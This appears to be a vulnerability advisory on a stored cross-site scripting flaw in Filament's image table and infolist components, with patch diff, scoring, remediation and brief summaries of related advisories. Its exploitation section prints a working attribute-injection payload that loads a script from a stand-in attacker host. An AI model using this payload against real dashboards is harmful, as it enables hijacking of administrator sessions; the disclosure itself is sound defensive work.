Jun 24, 2026·5 min read·5 visits
An HTML attribute injection vulnerability in Filament v4.x and v5.x allows authenticated users with database write privileges to inject arbitrary JavaScript payloads into image components, executing code in the security context of administrators viewing the record.
Filament's ImageColumn (used in tables) and ImageEntry (used in infolists) components render database values inside HTML attributes without validation or sanitization. This allows an attacker to inject arbitrary HTML attributes, leading to Stored Cross-Site Scripting (XSS).
Filament is a popular suite of full-stack components built for accelerated Laravel development. The framework provides declarative PHP classes to define database-backed interfaces, including interactive data tables and detail views (infolists). Key components of these systems are the ImageColumn and ImageEntry UI structures, designed to render image attributes dynamically.
During rendering, these components process stored database states to generate HTML output, specifically constructing inline <img> tags. These tags map the model's attribute values to the image source src parameter.
The attack surface of this vulnerability lies in the lack of escaping during the generation of the <img> tags. When an administrative user views a table or details view containing a record manipulated by a low-privileged user, the unescaped database payload executes in the viewer's browser context, facilitating Stored Cross-Site Scripting (XSS).
The underlying flaw is categorized as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Specifically, it manifests as an attribute-injection vector. Inside the rendering lifecycle of both ImageColumn and ImageEntry, the component evaluates its visual state through a helper called toEmbeddedHtml().
During this execution, the method resolves the target image source path by calling $this->getImageUrl($stateItem). Prior to the patch, the returned value of this method was merged directly into the component's extra image attribute bag and output directly as a raw HTML string.
Because the resolution engine assumed the database returned a clean URI string, it did not perform HTML entity encoding on the resulting value. If an attacker controls the database field mapped to the column (for instance, via a profile edit form or an API input), they can inject a double quote (") to break out of the src attribute context. This lets them define arbitrary HTML attributes, such as event handlers, which trigger script execution without requiring any explicit user interaction.
A detailed analysis of the fix commit (e1f36a7316d75476f3301e044cc360d7cb746c56) shows the exact remediation introduced by the maintainers. Below is a comparison of the vulnerable and patched code sections within the rendering pipeline.
// Vulnerable Code in Table/Infolist Components
$formatState = function (mixed $stateItem) use ($defaultImageUrl, $width, $height, $shouldOpenUrlInNewTab): string {
$item = '<img ' . $this->getExtraImgAttributeBag()
->merge([
// Raw database state value merged directly without sanitization
'src' => filled($stateItem) ? ($this->getImageUrl($stateItem) ?? $defaultImageUrl) : $defaultImageUrl,
'x-tooltip' => filled($tooltip = $this->getTooltip($stateItem))
? '{
content: ' . Js::from($tooltip) . ',// Patched Code in Table/Infolist Components
$formatState = function (mixed $stateItem) use ($defaultImageUrl, $width, $height, $shouldOpenUrlInNewTab): string {
$item = '<img ' . $this->getExtraImgAttributeBag()
->merge([
// The state value is now safely wrapped in Laravel\'s e() escaping helper
'src' => e(filled($stateItem) ? ($this->getImageUrl($stateItem) ?? $defaultImageUrl) : $defaultImageUrl),
'x-tooltip' => filled($tooltip = $this->getTooltip($stateItem))
? '{
content: ' . Js::from($tooltip) . ',The Laravel global helper e() runs PHP's native htmlspecialchars configured with the ENT_QUOTES | ENT_SUBSTITUTE flags. This converts crucial control characters, including the double quote ("), into safe HTML entity equivalents ("), entirely neutralizing the attribute breakout capability.
Exploiting this flaw requires that an attacker have the ability to write a structured payload to a database field displayed in an ImageColumn or ImageEntry component.
An attacker changes their mapped record's image URL field to the following payload string:
data:image/png," onerror="let s=document.createElement('script');s.src='http://attacker.com/malicious.js';document.head.appendChild(s);
When a victim, particularly an administrative user possessing elevated privileges, visits the administrative dashboard, the server generates the raw HTML containing the broken attribute structure. Because the initial string data:image/png, is not a valid fully qualified image path, the browser triggers the onerror handler, executing the appended JavaScript payload in the victim's security context.
The CVSS base score is calculated as 6.4 (Medium). The impact vectors reflect a substantial risk to applications leveraging Filament dashboards for administrative management.
By leveraging Stored XSS, an attacker can target high-privilege administrators. The executed script can perform actions on behalf of the administrator, such as creating new user accounts with super-administrator access, extracting database records, or modifying system configurations. Because the Scope (S) metric is evaluated as Changed (S:C), the browser sandbox boundaries of the target user are effectively subverted, compromising cookies, local storage sessions, and application states.
At the time of this analysis, the EPSS score remains low at 0.00148 (0.15 percentile), confirming that active, weaponized exploits have not yet been observed in widespread internet campaigns. However, standard remediation is strongly advised to prevent exploitation by malicious insiders or compromised API tokens.
The primary defensive measure is upgrading the application dependencies to safe versions of the Filament framework. For installations using Filament v4, upgrade to version 4.11.5 or higher. For Filament v5 installations, upgrade to version 5.6.5 or higher.
Additionally, review local application directory trees. If developers have executed php artisan vendor:publish to copy Filament view templates directly into local directories, these customized files must be manually audited and updated to incorporate the escaping function on the image source attribute.
To limit immediate risk while planning updates, implement strict Content Security Policies (CSP) restricting inline script execution (unsafe-inline) and preventing scripts from being fetched from arbitrary third-party domains.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
filament/tables Filament | >= 4.0.0, < 4.11.5 | 4.11.5 |
filament/tables Filament | >= 5.0.0, < 5.6.5 | 5.6.5 |
filament/infolists Filament | >= 4.0.0, < 4.11.5 | 4.11.5 |
filament/infolists Filament | >= 5.0.0, < 5.6.5 | 5.6.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Attack Vector | Network / Low Privileges Required |
| CVSS v3.1 Score | 6.4 |
| EPSS Score | 0.00148 (0.15% probability) |
| Impact | Stored Cross-Site Scripting (XSS) |
| Exploit Status | No active public exploits |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An observable timing discrepancy vulnerability (CWE-208) in Filament's administrative login page allows unauthenticated remote attackers to determine the existence of registered email addresses. This timing side-channel arises from short-circuiting logic that skips expensive password hashing checks when a queried email address is not found in the database. Attackers can execute statistical timing attacks to map active administrator accounts, facilitating subsequent targeted brute-force or credential-stuffing campaigns.
The Netty incubator codec for Oblivious HTTP (OHTTP) fails to verify that a cryptographically signed final chunk is received before the outer HTTP body terminates. This missing validation allows an on-path adversary to truncate chunked-OHTTP messages cleanly at a non-final chunk boundary, leading to undetected data truncation and compromising message integrity. The vulnerability affects multiple versions of the maven package io.netty.incubator:netty-incubator-codec-ohttp prior to 0.0.22.Final.
Prior to version 4.1.4, phpMyFAQ used the cryptographically broken SHA-1 algorithm to hash custom attachment encryption keys stored in the database. Attackers with database access can recover these plaintext keys through offline brute-force attacks and subsequently decrypt sensitive file attachments.
A privilege escalation vulnerability in Snipe-IT versions prior to 8.6.0 allows authenticated users with profile-editing capabilities to elevate their own permissions by performing a PATCH request on their own user endpoint.
CVE-2026-48500 is an authorization bypass vulnerability within Filament, a full-stack Laravel administration panel suite. The flaw arises from the unauthenticated exposure of Livewire's file upload RPC endpoints on guest-facing pages, allowing remote actors to upload arbitrary files to temporary storage, potentially leading to storage exhaustion and service disruption.
A UNIX symbolic link following vulnerability exists in the provider cache installation mechanism of OpenTofu. This flaw allows an attacker with control over the repository files to write files outside of the intended workspace boundary during initialization.